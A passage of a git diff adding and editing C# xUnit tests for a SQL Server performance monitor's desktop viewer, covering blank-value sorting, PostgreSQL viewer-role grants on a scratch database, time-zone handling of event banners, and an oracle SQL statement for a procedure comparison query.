+    /// is never ranked as if it were the biggest value; and a page that is blank throughout keeps the order the read gave it.</summary>
+    [Fact]
+    public void ADescendingSort_PutsBlankRowsLast_AndAllBlankKeepsTheReadsOrder()
+    {
+        StaTestThread.Run(() =>
+        {
+            var mixed = new List<ViewerQueryStatsRow>
+            {
+                new() { QueryHash = "blank-1" },
+                new() { QueryHash = "big", TotalLogicalReads = 900 },
+                new() { QueryHash = "blank-2" },
+                new() { QueryHash = "small", TotalLogicalReads = 5 },
+            };
+            var view = new ListCollectionView(mixed);
+            view.SortDescriptions.Add(new SortDescription("TotalLogicalReads", ListSortDirection.Descending));
+            Assert.Equal(new[] { "big", "small", "blank-1", "blank-2" }, view.Cast<ViewerQueryStatsRow>().Select(r => r.QueryHash).ToArray());
+
+            var allBlank = new List<ViewerQueryStatsRow>
+            {
+                new() { QueryHash = "a" }, new() { QueryHash = "b" }, new() { QueryHash = "c" },
+            };
+            foreach (var direction in new[] { ListSortDirection.Descending, ListSortDirection.Ascending })
+            {
+                var blankView = new ListCollectionView(allBlank);
+                blankView.SortDescriptions.Add(new SortDescription("TotalLogicalReads", direction));
+                Assert.Equal(new[] { "a", "b", "c" }, blankView.Cast<ViewerQueryStatsRow>().Select(r => r.QueryHash).ToArray());
+            }
+        });
+    }
+
+    /// <summary>A binding that names a fallback or a null value (<c>TargetNullValue=0</c>) would turn a blank back into a
+    /// false 0, so none of the blank-able columns may carry one, on either grid.</summary>
+    [Fact]
+    public void NoBlankableColumnBinding_NamesATargetNullValueOrAFallback()
+    {
+        var xaml = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml");
+        var checkedBindings = 0;
+        foreach (var name in QueryBlankColumns.Concat(ProcedureBlankColumns).Distinct())
+        {
+            foreach (Match m in Regex.Matches(xaml, @"\{Binding " + name + @"[,}][^{}]*\}"))
+            {
+                checkedBindings++;
+                Assert.DoesNotContain("TargetNullValue", m.Value, StringComparison.Ordinal);
+                Assert.DoesNotContain("FallbackValue", m.Value, StringComparison.Ordinal);
+            }
+        }
+
+        Assert.True(checkedBindings >= 20, $"the scan must find the grids' bindings, found {checkedBindings}");
+    }
+
+    private static string CellText(object row, string path)
+    {
+        var cell = new TextBlock { DataContext = row };
+        cell.SetBinding(TextBlock.TextProperty, new Binding(path) { StringFormat = "N0" });
+        return cell.Text;
+    }
+
+}
diff --git a/Darling/Darling.Tests/ViewerStoreLoginRawReadLiveTests.cs b/Darling/Darling.Tests/ViewerStoreLoginRawReadLiveTests.cs
new file mode 100644
index 0000000000..7e2ad2ee98
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerStoreLoginRawReadLiveTests.cs
@@ -0,0 +1,96 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: checks the store login grants of the Darling desktop viewer. The viewer's grants are lifted from the shipped
+/// provisioning SQL (<see cref="DarlingManagedRoles.BuildProvisioningSql"/>), put on a disposable role in a scratch store, and
+/// the role then SELECTs the three tables that hold statement text and plans. The test fails if any of those reads is refused.
+///
+/// <para>#1776 own-store: mints its own scratch database (<see cref="ScratchPostgres"/>), never the shared
+/// <c>live-postgres</c> collection. The role is cluster-wide, so it carries a per-run suffix and is dropped in cleanup.</para>
+/// </summary>
+public sealed class ViewerStoreLoginRawReadLiveTests
+{
+    private static readonly string Role = "ssf_viewer_" + Guid.NewGuid().ToString("N")[..8];
+    private const string RolePassword = "SsfViewerTestPw0123456789abcdef01";
+
+    /// <summary>The tables a plan or statement read goes to (plan section 6.6).</summary>
+    private static readonly string[] Tables = { "query_text_dim", "query_plan_dim", "query_store_text" };
+
+    [Fact]
+    public async Task TheViewersShippedGrants_LetItSelectTheStatementAndPlanTables()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the viewer store-login grants live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        var managed = DarlingManagedRoles.BuildProvisioningSql(
+            ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp, 15);
+
+        /* The shipped statements that give viewer its read of the collect schema, lifted verbatim and retargeted. */
+        var usage = Regex.Match(managed, @"GRANT USAGE ON SCHEMA [^;]*? TO admin, viewer;");
+        var select = Regex.Match(managed, @"GRANT SELECT ON ALL TABLES IN SCHEMA collect TO admin, viewer;");
+        Assert.True(usage.Success, "the managed provisioning SQL no longer grants viewer USAGE on the schemas");
+        Assert.True(select.Success, "the managed provisioning SQL no longer grants viewer SELECT on the collect tables");
+
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString!, ct);
+        await using var owner = new NpgsqlConnection(scratch.ConnectionString);
+        await owner.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(owner, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await ExecAsync(owner, $"CREATE ROLE {Role} LOGIN NOSUPERUSER PASSWORD '{RolePassword}'", ct);
+            await ExecAsync(owner, usage.Value.Replace("TO admin, viewer;", "TO " + Role + ";", StringComparison.Ordinal), ct);
+            await ExecAsync(owner, select.Value.Replace("TO admin, viewer;", "TO " + Role + ";", StringComparison.Ordinal), ct);
+
+            var roleString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString)
+            {
+                Username = Role,
+                Password = RolePassword,
+                SearchPath = "collect,config,public",
+                Pooling = false,
+            }.ConnectionString;
+            await using var viewer = new NpgsqlConnection(roleString);
+            await viewer.OpenAsync(ct);
+
+            foreach (var table in Tables)
+            {
+                await using var command = new NpgsqlCommand($"SELECT count(*) FROM collect.{table}", viewer);
+                var count = await command.ExecuteScalarAsync(ct);
+                Assert.NotNull(count);
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await new LiveCleanupBatch(cleanup).DropRolesAsync(
+                    $"DROP OWNED BY {Role}; DROP ROLE IF EXISTS {Role};", new[] { Role }, cleanupCt));
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerSystemEventsDataStartTests.cs b/Darling/Darling.Tests/ViewerSystemEventsDataStartTests.cs
new file mode 100644
index 0000000000..ed0b67efbc
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerSystemEventsDataStartTests.cs
@@ -0,0 +1,237 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Data;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The System Events grids and the Default Trace grid say where their data starts (#4966): one banner above the sub-tab
+/// control covers the nine, the eight system_health grids on one probe and Default Trace on its own. The notice names the
+/// earlier of the collector's coverage start and the earliest event a grid shows, and the Default Trace events, stored on
+/// the server's local clock, are compared in UTC after the read's own per-row conversion.
+/// </summary>
+public sealed class ViewerSystemEventsDataStartTests
+{
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string TabSources() =>
+        string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+    // ── Every read path asks the probe ──
+
+    [Theory]
+    [InlineData("LoadSchedulerIssuesAsync")]
+    [InlineData("LoadSevereErrorsAsync")]
+    [InlineData("LoadMemoryConditionsAsync")]
+    [InlineData("LoadMemoryBrokerAsync")]
+    [InlineData("LoadMemoryNodeOomAsync")]
+    [InlineData("LoadSignificantWaitsAsync")]
+    [InlineData("LoadCpuTasksAsync")]
+    [InlineData("LoadIoIssuesAsync")]
+    public void EachSystemHealthGrid_AsksAboutTheWindowItDraws_AndRaisesTheOneBanner(string load)
+    {
+        var body = MethodBody(ViewerFile("ViewerServerTab.SystemEvents.cs"), @"private async Task " + load + @"\(");
+
+        Assert.Equal(1, Matches(body, @"var dataStartTask = _dataService\.GetSystemHealthEventsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(body,
+            @"await ShowEventDataStartAsync\(SystemEventsTruncationBanner,\s*dataStartTask,\s*""System Events"",\s*startUtc,\s*data\.Select\(r => r\.EventTime\)\);"));
+    }
+
+    [Fact]
+    public void DefaultTrace_AsksAboutTheWindowItDraws_AndRaisesTheOneBanner_OverTheEventsInUtc()
+    {
+        var body = MethodBody(ViewerFile("ViewerServerTab.SystemEvents.cs"), @"private async Task LoadDefaultTraceEventsAsync\(");
+
+        Assert.Equal(1, Matches(body, @"var dataStartTask = _dataService\.GetDefaultTraceDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(body,
+            @"await ShowEventDataStartAsync\(SystemEventsTruncationBanner,\s*dataStartTask,\s*""Default Trace"",\s*startUtc,\s*data\.Select\(r => r\.EventTimeUtc\)\);"));
+    }
+
+    /* A census over every server-tab file: the nine reads are paired with the nine banner calls, so a tenth read added without
+       one fails here instead of shipping with a stale banner. */
+    [Fact]
+    public void EveryTabRead_OfTheNineGrids_HasItsProbe_AndNoneIsAwaitedBare()
+    {
+        var tabs = TabSources();
+
+        Assert.Equal(8, Matches(tabs, @"_dataService\.GetSystemHealthEventsDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetDefaultTraceDataStartAsync\("));
+        Assert.Equal(9, Matches(tabs, @"ShowEventDataStartAsync\(SystemEventsTruncationBanner,"));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetDefaultTraceEventsAsync\("));
+        Assert.DoesNotContain("await dataStartTask", ViewerFile("ViewerServerTab.SystemEvents.cs"), StringComparison.Ordinal);
+    }
+
+    /* The Corruption and Contention sub-tabs are charts on a time axis that already shows the empty span, so they take the
+       banner down instead of leaving the last grid's notice over them. */
+    [Fact]
+    public void TheChartSubTabs_TakeTheBannerDown()
+    {
+        var body = MethodBody(ViewerFile("ViewerServerTab.SystemEvents.cs"), @"private async Task LoadSystemEventsAsync\(");
+
+        Assert.Equal(1, Matches(body,
+            @"case SystemEventsContentionSubTabIndex:\s*default:\s*(?:/\*.*?\*/\s*)?SystemEventsTruncationBanner\.Visibility = Visibility\.Collapsed;\s*await LoadSystemHealthChartsAsync\(\);"));
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheSubTabControl_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock[^>]*x:Name=""SystemEventsTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "SystemEventsTruncationBanner is not declared in ViewerServerTab.xaml");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.True(banner.Index < xaml.IndexOf("x:Name=\"SystemEventsSubTabControl\"", StringComparison.Ordinal), "the banner must sit above the sub-tab control");
+    }
+
+    // ── The probes ──
+
+    [Fact]
+    public void TheProbes_GoThroughTheSharedFloor_OverTheCollectorTablesTheGridsReadFrom_OnTheCollectorsUtcClock()
+    {
+        var source = ViewerFile("ViewerDataService.SystemEvents.cs");
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"system_health_events\")", source, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"default_trace_events\")", source, StringComparison.Ordinal);
+
+        /* The probe reads collection_time (UTC), never the Default Trace's server-local event_time, so the coverage needs no clock. */
+        Assert.Equal("collection_time", DataWindowFloor.Source.ForCollectorTable("system_health_events").TimeColumn);
+        Assert.Equal("collection_time", DataWindowFloor.Source.ForCollectorTable("default_trace_events").TimeColumn);
+    }
+
+    /* Neither read keeps a newest-first page, so no row cap applies: a LIMIT added later has to be wired to the cap rule. */
+    [Fact]
+    public void TheReads_CarryNoRowCap()
+    {
+        Assert.DoesNotMatch(@"LIMIT\s+\d{2,}", ViewerDataService.SystemHealthEventsByTypeSql);
+        Assert.DoesNotMatch(@"LIMIT\s+\d{2,}", ViewerDataService.DefaultTraceEventsByWindowSql);
+    }
+
+    // ── Default Trace: the server's clock, compared in UTC ──
+
+    private const string EasternWindowsId = "Eastern Standard Time";
+
+    private static DateTime Naive(int year, int month, int day, int hour, int minute = 0) =>
+        new(year, month, day, hour, minute, 0, DateTimeKind.Unspecified);
+
+    /// <summary>The notice the tab names for Default Trace events stored at <paramref name="storedLocal"/> on the server's own clock.</summary>
+    private static async Task<DateTime?> NoticeAsync(ServerClock clock, DateTime startUtc, DateTime endUtc, DateTime coverageStartUtc, params DateTime[] storedLocal)
+    {
+        var table = new DataTable();
+        table.Columns.Add("event_time_local", typeof(DateTime));
+        table.Columns.Add("event_name", typeof(string));
+        foreach (var name in new[] { "database_name", "object_name", "login_name", "host_name", "application_name" })
+        {
+            table.Columns.Add(name, typeof(string));
+        }
+
+        table.Columns.Add("spid", typeof(int));
+        table.Columns.Add("duration_us", typeof(long));
+        table.Columns.Add("integer_data", typeof(long));
+        table.Columns.Add("severity", typeof(int));
+        table.Columns.Add("error_number", typeof(int));
+        table.Columns.Add("text_data", typeof(string));
+        foreach (var local in storedLocal)
+        {
+            table.Rows.Add(local, "Data File Auto Grow", "db", DBNull.Value, DBNull.Value, DBNull.Value, DBNull.Value, 55, 1_500_000L, 256L, DBNull.Value, DBNull.Value, DBNull.Value);
+        }
+
+        using var reader = table.CreateDataReader();
+        var rows = await ViewerDataService.ReadDefaultTraceEventsAsync(reader, clock, startUtc, endUtc, TestContext.Current.CancellationToken);
+        Assert.NotEmpty(rows);
+        return ViewerEventDataStart.Of(coverageStartUtc, ViewerEventDataStart.EarliestOf(rows.Select(r => r.EventTimeUtc)));
+    }
+
+    /* A clock 5 hours behind UTC: the server was added on Sep 5 (coverage), and its first collection stored trace history from
+       Sep 2 at 00:00 on the server's own clock. The notice is that moment in UTC, 05:00, not the stored 00:00. */
+    [Fact]
+    public async Task WithAClock5HoursBehindUtc_HistoryBeforeTheCoverage_GivesANoticeAtItsStartInUtc()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(null, -300), RangeStart, RangeStart.AddDays(9), Naive(2026, 9, 5, 0),
+            Naive(2026, 9, 2, 0), Naive(2026, 9, 6, 10));
+
+        Assert.Equal(Naive(2026, 9, 2, 5), notice);
+        Assert.True(RawWindowFloor.IsTruncated(notice, RangeStart));
+    }
+
+    /* History that reaches the range start, on the same clock: the oldest stored event is Aug 31 at 20:00 local, 01:00 UTC on Sep 1.
+       No notice, though the coverage starts days later. */
+    [Fact]
+    public async Task WithAClock5HoursBehindUtc_HistoryThatReachesTheRangeStart_GivesNoNotice()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(null, -300), RangeStart, RangeStart.AddDays(9), Naive(2026, 9, 5, 0),
+            Naive(2026, 8, 31, 20), Naive(2026, 9, 6, 10));
+
+        Assert.Equal(Naive(2026, 9, 1, 1), notice);
+        Assert.False(RawWindowFloor.IsTruncated(notice, RangeStart));
+    }
+
+    /* A quiet start: the store covered the range from before it, and the first event came 5 hours in (stored 00:00 local on Sep 1,
+       which is 05:00 UTC). No notice. */
+    [Fact]
+    public async Task WithAClock5HoursBehindUtc_AQuietStart_GivesNoNotice()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(null, -300), RangeStart, RangeStart.AddDays(9), RangeStart.AddDays(-20),
+            Naive(2026, 9, 1, 0), Naive(2026, 9, 6, 10));
+
+        Assert.False(RawWindowFloor.IsTruncated(notice, RangeStart));
+    }
+
+    /* A day that crosses the spring change (Mar 8, 2026, 02:00 local): the event stored at 01:30 is standard time, 06:30 UTC, and the
+       one at 03:30 is daylight time. The snapshot's offset says -240; a single subtracted offset would put the first event at 05:30. */
+    [Fact]
+    public async Task ADayThatCrossesTheSpringChange_UsesThatDatesOffset()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(EasternWindowsId, -240), Naive(2026, 3, 1, 0), Naive(2026, 3, 20, 0), Naive(2026, 3, 9, 0),
+            Naive(2026, 3, 8, 1, 30), Naive(2026, 3, 8, 3, 30));
+
+        Assert.Equal(Naive(2026, 3, 8, 6, 30), notice);
+    }
+
+    /* Rows that start inside the range: the first event came after the coverage began (Sep 6 at 10:00 local, 15:00 UTC, against a
+       coverage on Sep 5), so the notice reads back the coverage start. */
+    [Fact]
+    public async Task WithAClock5HoursBehindUtc_RowsThatStartInsideTheRange_GiveANoticeAtTheCoverageStart()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(null, -300), RangeStart, RangeStart.AddDays(9), Naive(2026, 9, 5, 0), Naive(2026, 9, 6, 10));
+
+        Assert.Equal(Naive(2026, 9, 5, 0), notice);
+        Assert.True(RawWindowFloor.IsTruncated(notice, RangeStart));
+    }
+
+    /* The fall change (Nov 1, 2026, 02:00 local): the event at 00:30 is daylight time, 04:30 UTC. The snapshot says -300. */
+    [Fact]
+    public async Task ADayThatCrossesTheFallChange_UsesThatDatesOffset()
+    {
+        var notice = await NoticeAsync(ServerClock.Resolve(EasternWindowsId, -300), Naive(2026, 10, 25, 0), Naive(2026, 11, 10, 0), Naive(2026, 11, 2, 0),
+            Naive(2026, 11, 1, 0, 30), Naive(2026, 11, 1, 3, 30));
+
+        Assert.Equal(Naive(2026, 11, 1, 4, 30), notice);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerSystemEventsTests.cs b/Darling/Darling.Tests/ViewerSystemEventsTests.cs
index 2da6841904..11464eb121 100644
--- a/Darling/Darling.Tests/ViewerSystemEventsTests.cs
+++ b/Darling/Darling.Tests/ViewerSystemEventsTests.cs
@@ -50,20 +50,8 @@ public void SystemHealthEventsByTypeSql_ReadsViewByServerTypeAndEventTimeWindow(
         Assert.Contains("ORDER BY event_time DESC", sql, StringComparison.Ordinal);
     }
 
-    [Fact]
-    public void DatabaseNameMapSql_LatestNamePerId_FromSizeStatsView()
-    {
-        var sql = ViewerDataService.DatabaseNameMapSql;
-
-        Assert.Contains("DISTINCT ON (database_id)", sql, StringComparison.Ordinal);
-        Assert.Contains("FROM v_database_size_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY database_id, collection_time DESC", sql, StringComparison.Ordinal);
-    }
-
     [Theory]
     [InlineData(nameof(ViewerDataService.SystemHealthEventsByTypeSql))]
-    [InlineData(nameof(ViewerDataService.DatabaseNameMapSql))]
     public void SystemEventsReads_PgDialect_PositionalParams_NoTSqlNamedParams(string sqlName)
     {
         var sql = (string)typeof(ViewerDataService).GetField(sqlName)!.GetValue(null)!;
@@ -383,31 +371,7 @@ public void ShredThenFilter_KeepsOnlySignificantRows_AcrossAllCategories()
         Assert.Single(result.SystemHealth);
     }
 
-    // ── Severe-Errors database_id resolution ──
-
-    [Fact]
-    public void ResolveDatabaseName_MappedId_ReturnsName()
-    {
-        var map = new Dictionary<int, string> { [5] = "AdventureWorks", [1] = "master" };
-        Assert.Equal("AdventureWorks", ViewerDataService.ResolveDatabaseName(5, map));
-        Assert.Equal("master", ViewerDataService.ResolveDatabaseName(1, map));
-    }
-
-    [Fact]
-    public void ResolveDatabaseName_NoContext_ZeroOrNull_IsBlank()
-    {
-        var map = new Dictionary<int, string> { [5] = "AdventureWorks" };
-        Assert.Equal(string.Empty, ViewerDataService.ResolveDatabaseName(0, map));
-        Assert.Equal(string.Empty, ViewerDataService.ResolveDatabaseName(null, map));
-    }
-
-    [Fact]
-    public void ResolveDatabaseName_RealButUnmappedId_SurfacesTheRawId_NotBlank()
-    {
-        var map = new Dictionary<int, string> { [5] = "AdventureWorks" };
-        // A database dropped before the latest size-stats snapshot: surface the id rather than silently blank.
-        Assert.Equal("database_id 7", ViewerDataService.ResolveDatabaseName(7, map));
-    }
+    // Severe-Errors database_id resolution (the name the id carried at the error's time) is pinned in DatabaseNameHistoryTests (#5373).
 
     // ── Row projection: machine-local event time + resolved DB passthrough ──
 
diff --git a/Darling/Darling.Tests/ViewerTextLookupWindowBoundLiveTests.cs b/Darling/Darling.Tests/ViewerTextLookupWindowBoundLiveTests.cs
new file mode 100644
index 0000000000..757b6c3f99
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerTextLookupWindowBoundLiveTests.cs
@@ -0,0 +1,1070 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5420: the viewer's procedure comparison and the Query Store top reads look text up with a time bound.
+/// <list type="bullet">
+/// <item>The comparison used to pick each procedure's statement with a per-procedure lookup that had no time bound (no index
+/// covers <c>sql_handle</c>, so a procedure with no text walked every retained chunk), and joined the period rows to the top
+/// procedures with <c>IS NOT DISTINCT FROM</c>, which cannot hash and ran as a nested loop that threw away millions of rows.</item>
+/// <item>The Query Store top reads' inline-text fallback (<c>query_store_stats</c>, one lookup per candidate row with no text
+/// row) had the same unbounded shape, in the viewer and in Darling's MCP reader, which keep one tail text each.</item>
+/// </list>
+/// Every fact runs on a scratch store with the collector tables converted to hypertables (1-day chunks) over 12 days, so
+/// "reads only the window's chunks" is something the plan can show. The one documented change is pinned by name: a procedure
+/// or query whose only text is older than the window shows none.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every live fact here reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and then works entirely inside it, so it cannot race live
+   collection. */
+[Trait("Cost", "Slow")]
+public sealed class ViewerTextLookupWindowBoundLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the #5420 text-lookup window-bound live pins (each mints its own scratch database).";
+    private const int ServerId = 5420;
+
+    /// <summary>The window's end. History runs 12 days back from here, so the 1-day chunks number 13.</summary>
+    private static readonly DateTime End = new(2026, 2, 20, 12, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Comparison windows: current = the last 24 h, baseline = the 24 h before it. The text lookup's window is
+    /// baseline start to current end: 48 h, which touches at most 3 one-day chunks.</summary>
+    private static readonly DateTime CurrentStart = End.AddHours(-24);
+    private static readonly DateTime BaselineStart = End.AddHours(-48);
+    private const int WindowChunkCeiling = 3;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    /// <summary>
+    /// <see cref="ViewerDataService.ProcedureStatsComparisonSql"/> as it stood before #5420, verbatim: the oracle the new
+    /// statement is compared with. Do not edit it to follow the live statement.
+    /// </summary>
+    private const string OldProcedureStatsComparisonSql = """
+        WITH top_current AS (
+            SELECT database_name, schema_name, object_name
+            FROM procedure_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2 AND collection_time <= $3
+            AND   ($6::text[] IS NULL OR database_name = ANY($6))
+            AND   delta_execution_count > 0
+            GROUP BY database_name, schema_name, object_name
+            ORDER BY SUM(delta_execution_count) DESC
+            LIMIT 100
+        ),
+        top_baseline AS (
+            SELECT database_name, schema_name, object_name
+            FROM procedure_stats
+            WHERE server_id = $1
+            AND   collection_time >= $4 AND collection_time <= $5
+            AND   ($6::text[] IS NULL OR database_name = ANY($6))
+            AND   delta_execution_count > 0
+            GROUP BY database_name, schema_name, object_name
+            ORDER BY SUM(delta_execution_count) DESC
+            LIMIT 100
+        ),
+        top_procs AS (
+            SELECT DISTINCT database_name, schema_name, object_name
+            FROM (
+                SELECT * FROM top_current
+                UNION ALL
+                SELECT * FROM top_baseline
+            ) AS combined
+        ),
+        current_period AS (
+            SELECT tp.database_name, tp.schema_name, tp.object_name,
+                   SUM(ps.delta_execution_count) AS exec_count,
+                   SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                   SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                   SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+                   MAX(ps.sql_handle) AS sql_handle
+            FROM top_procs tp
+            INNER JOIN procedure_stats ps
+              ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
+              AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
+              AND ps.object_name IS NOT DISTINCT FROM tp.object_name
+            WHERE ps.server_id = $1
+            AND   ps.collection_time >= $2 AND ps.collection_time <= $3
+            AND   ps.delta_execution_count > 0
+            GROUP BY tp.database_name, tp.schema_name, tp.object_name
+        ),
+        baseline_period AS (
+            SELECT tp.database_name, tp.schema_name, tp.object_name,
+                   SUM(ps.delta_execution_count) AS exec_count,
+                   SUM(ps.delta_elapsed_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_duration_ms,
+                   SUM(ps.delta_worker_time)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) / 1000.0 AS avg_cpu_ms,
+                   SUM(ps.delta_physical_reads)::double precision / NULLIF(SUM(ps.delta_execution_count), 0) AS avg_reads,
+                   MAX(ps.sql_handle) AS sql_handle
+            FROM top_procs tp
+            INNER JOIN procedure_stats ps
+              ON  ps.database_name IS NOT DISTINCT FROM tp.database_name
+              AND ps.schema_name IS NOT DISTINCT FROM tp.schema_name
+              AND ps.object_name IS NOT DISTINCT FROM tp.object_name
+            WHERE ps.server_id = $1
+            AND   ps.collection_time >= $4 AND ps.collection_time <= $5
+            AND   ps.delta_execution_count > 0
+            GROUP BY tp.database_name, tp.schema_name, tp.object_name
+        )
+        SELECT COALESCE(c.database_name, b.database_name) AS database_name,
+               COALESCE(c.schema_name, b.schema_name) AS schema_name,
+               COALESCE(c.object_name, b.object_name) AS object_name,
+               c.exec_count, c.avg_duration_ms, c.avg_cpu_ms, c.avg_reads,
+               b.exec_count AS baseline_exec_count,
+               b.avg_duration_ms AS baseline_avg_duration_ms,
+               b.avg_cpu_ms AS baseline_avg_cpu_ms,
+               b.avg_reads AS baseline_avg_reads,
+               t.query_text
+        FROM current_period c
+        FULL OUTER JOIN baseline_period b
+          ON  COALESCE(c.database_name, '') = COALESCE(b.database_name, '')
+          AND COALESCE(c.schema_name, '') = COALESCE(b.schema_name, '')
+          AND COALESCE(c.object_name, '') = COALESCE(b.object_name, '')
+        /* #1981: a REPRESENTATIVE statement of the procedure via the same normalized sql_handle
+           join #1568's module attribution relies on (both stores persist the identical
+           CONVERT(varchar(130), ..., 1) text). procedure_stats captures no text of its own, so
+           this is the latest captured statement from inside the module — parity with the other
+           two comparison grids, labeled a statement rather than the definition. v_query_stats
+           resolves the #1767 payload dimension. */
+        LEFT JOIN LATERAL (
+            SELECT qs.query_text
+            FROM v_query_stats qs
+            WHERE qs.server_id = $1
+            AND   qs.sql_handle = COALESCE(c.sql_handle, b.sql_handle)
+            AND   qs.query_text IS NOT NULL
+            ORDER BY qs.collection_time DESC
+            LIMIT 1
+        ) t ON TRUE
+        """;
+
+    /* ───────────────────────────── seeds ───────────────────────────── */
+
+    /// <summary>
+    /// <see cref="ViewerDataService.QueryStatsComparisonSql"/> as it stood before the #5420 review round, verbatim: the oracle the
+    /// derived-table statement is compared with. Do not edit it to follow the live statement.
+    /// </summary>
+    private const string OldQueryStatsComparisonSql = """
+            WITH top_current AS (
+                SELECT query_hash, database_name
+                FROM query_stats
+                WHERE server_id = $1
+                AND   collection_time >= $2 AND collection_time <= $3
+                AND   ($6::text[] IS NULL OR database_name = ANY($6))
+                AND   delta_execution_count > 0
+                GROUP BY query_hash, database_name
+                ORDER BY SUM(delta_execution_count) DESC
+                LIMIT 100
+            ),
+            top_baseline AS (
+                SELECT query_hash, database_name
+                FROM query_stats
+                WHERE server_id = $1
+                AND   collection_time >= $4 AND collection_time <= $5
+                AND   ($6::text[] IS NULL OR database_name = ANY($6))
+                AND   delta_execution_count > 0
